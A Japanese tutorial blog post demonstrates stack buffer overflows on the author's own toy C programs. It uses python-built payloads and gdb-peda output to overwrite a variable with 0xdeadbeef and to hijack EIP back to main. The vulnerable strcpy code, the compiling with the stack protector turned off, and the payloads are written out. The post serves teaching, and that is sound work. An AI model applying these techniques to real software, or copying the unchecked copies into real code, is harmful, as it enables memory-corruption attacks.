Szarny.io

There should be one-- and preferably only one --obvious way to do it.

バッファオーバーフローを実験する(deadbeefとeip奪取)

はじめに

簡単なCプログラムを使って,バッファオーバーフローの発生と挙動を実験します.
具体的には,変数への任意の値(0xdeadbeef)の挿入と,eip奪取によるmain関数の複数回起動を行います.

バッファオーバーフローでdeadbeef

用いるプログラムと実行結果

コマンドライン引数で受け取った文字列を,buffer_twostrcpyするだけの簡単なプログラムです.
変数はvalue(=5), buffer_one(=one), buffer_two(=two -> argv[1])の3種類で,main関数内でコピー前とコピー後の変数のアドレスと内容を出力します.

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]){
  int value = 5;
  char buffer_one[8], buffer_two[8];

  strcpy(buffer_one, "one");
  strcpy(buffer_two, "two");

  printf("[Before] buffer_two @ %p = %s\n", buffer_two, buffer_two);
  printf("[Before] buffer_one @ %p = %s\n", buffer_one, buffer_one);
  printf("[Before] value      @ %p = %d (0x%08x)\n\n", &value, value, value);

  printf("%s(%d Byte) will be copied to buffer_two\n\n", argv[1], strlen(argv[1]));
  strcpy(buffer_two, argv[1]);

  printf("[After] buffer_two @ %p = %s\n", buffer_two, buffer_two);
  printf("[After] buffer_one @ %p = %s\n", buffer_one, buffer_one);
  printf("[After] value      @ %p = %d (0x%08x)\n", &value, value, value);
}


以下は,想定通り,コマンドライン引数がbuffer_twoにコピーされた場合の実行結果です.

# ./a.out hello
[Before] buffer_two @ 0x7fff134aafdc = two
[Before] buffer_one @ 0x7fff134aafe4 = one
[Before] value      @ 0x7fff134aafec = 5 (0x00000005)

hello(5 Byte) will be copied to buffer_two

[After] buffer_two @ 0x7fff134aafdc = hello
[After] buffer_one @ 0x7fff134aafe4 = one
[After] value      @ 0x7fff134aafec = 5 (0x00000005)


ここで,それぞれの変数のアドレスを見ると,連続したアドレスに配置されていることが分かります.
bufferは,宣言時にそれぞれ8byteずつ利用するように定義してありますので,8byte離れて配置されています.

# python -q
>>> 0xe4 - 0xdc
8
>>> 0xec - 0xe4
8

バッファオーバーフローの実践

それでは,バッファオーバーフローを引き起こしていきます.
コマンドライン引数からbuffer_twoへのコピーにおいて,サイズチェック等は全く行っていないため,その処理は無条件に行われることになります.
つまり,buffer_twoのサイズを超えるような入力を行うことで,バッファオーバーフローを引き起こすことが可能だと考えられます.

# ./a.out aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[Before] buffer_two @ 0x7ffd05ec7cec = two
[Before] buffer_one @ 0x7ffd05ec7cf4 = one
[Before] value      @ 0x7ffd05ec7cfc = 5 (0x00000005)

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa(47 Byte) will be copied to buffer_two

[After] buffer_two @ 0x7ffd05ec7cec = aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[After] buffer_one @ 0x7ffd05ec7cf4 = aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[After] value      @ 0x7ffd05ec7cfc = 1633771873 (0x61616161)
Segmentation fault


セグメンテーション違反が発生しました.
ここでvalueの値を見てみると,0x61616161となっています.
これは,ASCIIコードにおける'a'であるため,バッファオーバーフローによって上書きが成功したのだと考えられます.

では,valueを任意の値に書き換えたいと思います.
上記より,2つのbufferのサイズは合わせて16byteであるため,適当なパディングを16 byte分の直後の4 byteがvalueに代入されると考えられます.
毎回打つのは面倒なので,Pythonで実行します.

# ./a.out $(python2 -c 'print "a" * 16 + "\xef\xbe\xad\xde"')
[Before] buffer_two @ 0x7fffe98872ac = two
[Before] buffer_one @ 0x7fffe98872b4 = one
[Before] value      @ 0x7fffe98872bc = 5 (0x00000005)

aaaaaaaaaaaaaaaaᆳ�(20 Byte) will be copied to buffer_two

[After] buffer_two @ 0x7fffe98872ac = aaaaaaaaaaaaaaaaᆳ�
[After] buffer_one @ 0x7fffe98872b4 = aaaaaaaaᆳ�
[After] value      @ 0x7fffe98872bc = -559038737 (0xdeadbeef)


無事(?),valueに任意の値(ここではdeadbeef)を上書きすることができました.
今回の場合では,何ら不正な動作は引き起こされません.
しかし,もしバッファオーバーフローによってインストラクションポインタ(eip)の値が上書きされるようなことがあれば,任意の不正な動作を引き起こすことが可能になってしまいます.

バッファオーバーフローでプログラムカウンタ(eip)の奪取

用いるプログラム

では,実際にプログラムカウンタ(eip)を奪取していきます.
用いるのは,以下のプログラムです.

#include <stdio.h>
#include <string.h>

void copy(char *str){
  char buffer[8];
  strcpy(buffer, "init");

  printf("[Before] buffer @ %p = %s\n\n", buffer, buffer);
  printf("%s(%d Byte) will be copied to buffer\n\n", str, strlen(str));
  strcpy(buffer, str);
  printf("[After] buffer @ %p = %s\n", buffer, buffer);
}

int main(int argc, char *argv[]){
  printf("Start main()\n");
  copy(argv[1]);
}

main関数の先頭アドレスの調査

今回の目標は,copy関数内で呼び出されるstrcpy関数にてバッファオーバーフローを利用して,プログラムカウンタを奪い,再度main関数の先頭に持っていくことです.
まず,stack-protectorをオフに設定します.
規定値のままコンパイルを行うと,バッファオーバーフローによるスタックの破壊が検知される設定になってしまうからです.(参考
IPA ISEC セキュア・プログラミング講座:C/C++言語編 第10章 著名な脆弱性対策:バッファオーバーフロー: #5 運用環境における防御)

# gcc -m32 -fno-stack-protector -g buffer_overflow.c
# gdb -q a.out


今回の目標である「eipを奪取して,main関数の先頭に持ってくること」を実現するためには,まずmain関数の先頭アドレスを把握する必要があります.

# 引数 aaaaaaaa で実行
gdb-peda$ run aaaaaaaa
Starting program: /root/Documents/HACKING/3/a.out aaaaaaaa
Start main()
[Before] buffer @ 0xffffd328 = init

aaaaaaaa(8 Byte) will be copied to buffer


[----------------------------------registers-----------------------------------]
EAX: 0xffffd328 ("aaaaaaaa")
EBX: 0x56557000 --> 0x1efc 
ECX: 0xffffd5cf ("aaaaaaaa")
EDX: 0xffffd328 ("aaaaaaaa")
ESI: 0xffffd380 --> 0x2 
EDI: 0xf7fb1000 --> 0x1b2db0 
EBP: 0xffffd338 --> 0xffffd368 --> 0x0 
ESP: 0xffffd320 --> 0xffffd368 --> 0x0 
EIP: 0x5655561c (<copy+111>:	sub    esp,0x4)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x56555613 <copy+102>:	push   eax
   0x56555614 <copy+103>:	
    call   0x56555420 <strcpy@plt>
   0x56555619 <copy+108>:	add    esp,0x10
=> 0x5655561c <copy+111>:	sub    esp,0x4
   0x5655561f <copy+114>:	lea    eax,[ebp-0x10]
   0x56555622 <copy+117>:	push   eax
   0x56555623 <copy+118>:	lea    eax,[ebp-0x10]
   0x56555626 <copy+121>:	push   eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd320 --> 0xffffd368 --> 0x0 
0004| 0xffffd324 --> 0xf7fee710 (pop    edx)
0008| 0xffffd328 ("aaaaaaaa")
0012| 0xffffd32c ("aaaa")
0016| 0xffffd330 --> 0xffffd300 --> 0xffffd328 ("aaaaaaaa")
0020| 0xffffd334 --> 0x56557000 --> 0x1efc 
0024| 0xffffd338 --> 0xffffd368 --> 0x0 
0028| 0xffffd33c --> 0x56555680 (<main+68>:	add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, copy (str=0xffffd5cf "aaaaaaaa")
    at overflow_example2.c:11
11	  printf("[After] buffer @ %p = %s\n", buffer, buffer);

# main関数の逆アセンブル
gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x5655563c <+0>:	lea    ecx,[esp+0x4]
   0x56555640 <+4>:	and    esp,0xfffffff0
   0x56555643 <+7>:	push   DWORD PTR [ecx-0x4]
   0x56555646 <+10>:	push   ebp
   0x56555647 <+11>:	mov    ebp,esp
   0x56555649 <+13>:	push   esi
   0x5655564a <+14>:	push   ebx
   0x5655564b <+15>:	push   ecx
   0x5655564c <+16>:	sub    esp,0xc
   0x5655564f <+19>:	call   0x56555693 <__x86.get_pc_thunk.ax>
   0x56555654 <+24>:	add    eax,0x19ac
   0x56555659 <+29>:	mov    esi,ecx
   0x5655565b <+31>:	sub    esp,0xc
   0x5655565e <+34>:	lea    edx,[eax-0x1883]
   0x56555664 <+40>:	push   edx
   0x56555665 <+41>:	mov    ebx,eax
   0x56555667 <+43>:	call   0x56555430 <puts@plt>
   0x5655566c <+48>:	add    esp,0x10
   0x5655566f <+51>:	mov    eax,DWORD PTR [esi+0x4]
   0x56555672 <+54>:	add    eax,0x4
   0x56555675 <+57>:	mov    eax,DWORD PTR [eax]
   0x56555677 <+59>:	sub    esp,0xc
   0x5655567a <+62>:	push   eax
   0x5655567b <+63>:	call   0x565555ad <copy>
   0x56555680 <+68>:	add    esp,0x10
   0x56555683 <+71>:	mov    eax,0x0
   0x56555688 <+76>:	lea    esp,[ebp-0xc]
   0x5655568b <+79>:	pop    ecx
   0x5655568c <+80>:	pop    ebx
   0x5655568d <+81>:	pop    esi
   0x5655568e <+82>:	pop    ebp
   0x5655568f <+83>:	lea    esp,[ecx-0x4]
   0x56555692 <+86>:	ret    
End of assembler dump.

以上より,main関数の先頭アドレスは0x5655563cと判明しました.

スタックフレームにpushされたeipの調査

次に,copy関数を呼び出した際に,main関数におけるeipの値がスタックフレーム内のどこにpushされているのかを調査します.
main関数内において,copy関数は0x56555680で呼び出されているため,pushされた値はその1つ先の0x56555680であるはずです.

# プログラム表示
gdb-peda$ list
1	#include <stdio.h>
2	#include <string.h>
3	
4	void copy(char *str){
5	  char buffer[8];
6	  strcpy(buffer, "init");
7	
8	  printf("[Before] buffer @ %p = %s\n\n", buffer, buffer);
9	  printf("%s(%d Byte) will be copied to buffer\n\n", str, strlen(str));
10	  strcpy(buffer, str);

gdb-peda$ 
11	  printf("[After] buffer @ %p = %s\n", buffer, buffer);
12	}
13	
14	int main(int argc, char *argv[]){
15	  printf("Start main()\n");
16	  copy(argv[1]);
17	}
18	
19	/*
20	0xffffd338:	0x61616161	0x56557000	0xffffd390	0x56557000

# strcpy直後にブレークポイント設置
gdb-peda$ break 11
Breakpoint 1 at 0x61c: file overflow_example2.c, line 11.

# 引数aaaaaaaaで実行
gdb-peda$ run aaaaaaaa
Starting program: /root/Documents/HACKING/3/a.out aaaaaaaa
Start main()
[Before] buffer @ 0xffffd328 = init

aaaaaaaa(8 Byte) will be copied to buffer


[----------------------------------registers-----------------------------------]
EAX: 0xffffd328 ("aaaaaaaa")
EBX: 0x56557000 --> 0x1efc 
ECX: 0xffffd5cf ("aaaaaaaa")
EDX: 0xffffd328 ("aaaaaaaa")
ESI: 0xffffd380 --> 0x2 
EDI: 0xf7fb1000 --> 0x1b2db0 
EBP: 0xffffd338 --> 0xffffd368 --> 0x0 
ESP: 0xffffd320 --> 0xffffd368 --> 0x0 
EIP: 0x5655561c (<copy+111>:	sub    esp,0x4)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x56555613 <copy+102>:	push   eax
   0x56555614 <copy+103>:	
    call   0x56555420 <strcpy@plt>
   0x56555619 <copy+108>:	add    esp,0x10
=> 0x5655561c <copy+111>:	sub    esp,0x4
   0x5655561f <copy+114>:	lea    eax,[ebp-0x10]
   0x56555622 <copy+117>:	push   eax
   0x56555623 <copy+118>:	lea    eax,[ebp-0x10]
   0x56555626 <copy+121>:	push   eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd320 --> 0xffffd368 --> 0x0 
0004| 0xffffd324 --> 0xf7fee710 (pop    edx)
0008| 0xffffd328 ("aaaaaaaa")
0012| 0xffffd32c ("aaaa")
0016| 0xffffd330 --> 0xffffd300 --> 0xffffd328 ("aaaaaaaa")
0020| 0xffffd334 --> 0x56557000 --> 0x1efc 
0024| 0xffffd338 --> 0xffffd368 --> 0x0 
0028| 0xffffd33c --> 0x56555680 (<main+68>:	add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, copy (str=0xffffd5cf "aaaaaaaa")
    at overflow_example2.c:11
11	  printf("[After] buffer @ %p = %s\n", buffer, buffer);

# bufferの中身を見る
gdb-peda$ x/s buffer
0xffffd328:	"aaaaaaaa"

# bufferのアドレスの後ろ16wordを見る
gdb-peda$ x/16xw &buffer 
0xffffd328:	0x61616161	0x61616161	0xffffd300	0x56557000
0xffffd338:	0xffffd368	0x56555680	0xffffd5cf	0x56557000
0xffffd348:	0x00000002	0x56555654	0x00000002	0xffffd414
0xffffd358:	0xffffd420	0xffffd380	0x00000000	0x00000002

今回は,コマンドライン引数を "aaaaaaaa" として実行しているため,bufferにはaaaaaaaa(0x61616161 0x61616161)が代入されており,examineコマンドからの表示でも確認することができます.
さて,pushされたeipの値である0x56555680はbufferの先頭から20 byte後ろにある4 byteの部分のようです.
つまり,この部分をmain関数の先頭アドレスである0x5655563cに書き換えることができれば,printf("Start main()\n");が再度実行されるのが確認できるはずです.

eip奪取!

それでは,上記の部分をmain関数の先頭アドレスで書き換えてみます.

# ./a.out $(python2 -c 'print "a" * 20 + "\x3c\x56\x55\x56"')
Start main()
[Before] buffer @ 0xffffd348 = init

aaaaaaaaaaaaaaaaaaaa<VUV(24 Byte) will be copied to buffer

[After] buffer @ 0xffffd348 = aaaaaaaaaaaaaaaaaaaa<VUV
Start main()
Segmentation fault

やりました!
copy関数内での出力があった後,再度Start main()が呼び出されています.(スタックが破壊されているので,その後はセグメンテーション違反で停止します.)

gdbでも確認してみましょう.

# strcpyの直後にブレークポイント設定
gdb-peda$ break 11
Breakpoint 1 at 0x61c: file overflow_example2.c, line 11.

# スクリプトで引数を設定
gdb-peda$ run $(python2 -c 'print "a" * 20 + "\x3c\x56\x55\x56"')
Starting program: /root/Documents/HACKING/3/a.out $(python2 -c 'print "a" * 20 + "\x3c\x56\x55\x56"')
Start main()
[Before] buffer @ 0xffffd318 = init

aaaaaaaaaaaaaaaaaaaa<VUV(24 Byte) will be copied to buffer


[----------------------------------registers-----------------------------------]
EAX: 0xffffd318 ('a' <repeats 20 times>, "<VUV")
EBX: 0x56557000 --> 0x1efc 
ECX: 0xffffd5d0 ("aaa<VUV")
EDX: 0xffffd329 ("aaa<VUV")
ESI: 0xffffd370 --> 0x2 
EDI: 0xf7fb1000 --> 0x1b2db0 
EBP: 0xffffd328 ("aaaa<VUV")
ESP: 0xffffd310 --> 0xffffd358 --> 0x0 
EIP: 0x5655561c (<copy+111>:	sub    esp,0x4)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x56555613 <copy+102>:	push   eax
   0x56555614 <copy+103>:	
    call   0x56555420 <strcpy@plt>
   0x56555619 <copy+108>:	add    esp,0x10
=> 0x5655561c <copy+111>:	sub    esp,0x4
   0x5655561f <copy+114>:	lea    eax,[ebp-0x10]
   0x56555622 <copy+117>:	push   eax
   0x56555623 <copy+118>:	lea    eax,[ebp-0x10]
   0x56555626 <copy+121>:	push   eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd310 --> 0xffffd358 --> 0x0 
0004| 0xffffd314 --> 0xf7fee710 (pop    edx)
0008| 0xffffd318 ('a' <repeats 20 times>, "<VUV")
0012| 0xffffd31c ('a' <repeats 16 times>, "<VUV")
0016| 0xffffd320 ('a' <repeats 12 times>, "<VUV")
0020| 0xffffd324 ("aaaaaaaa<VUV")
0024| 0xffffd328 ("aaaa<VUV")
0028| 0xffffd32c ("<VUV")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, copy (str=0xffffd500 "4PUV\004")
    at overflow_example2.c:11
11	  printf("[After] buffer @ %p = %s\n", buffer, buffer);

# bufferの値の確認
gdb-peda$ x/s buffer
0xffffd318:	'a' <repeats 20 times>, "<VUV"

# bufferのアドレスの後ろ16wordを見る
gdb-peda$ x/16xw &buffer
0xffffd318:	0x61616161	0x61616161	0x61616161	0x61616161
0xffffd328:	0x61616161	0x5655563c	0xffffd500	0x56557000
0xffffd338:	0x00000002	0x56555654	0x00000002	0xffffd404
0xffffd348:	0xffffd410	0xffffd370	0x00000000	0x00000002

確かに,pushされていたeipの値が上書きされているのが確認できました!
以上の流れによって,eipを奪取・操作して,main関数の先頭に再度持ってくることができました(^p^)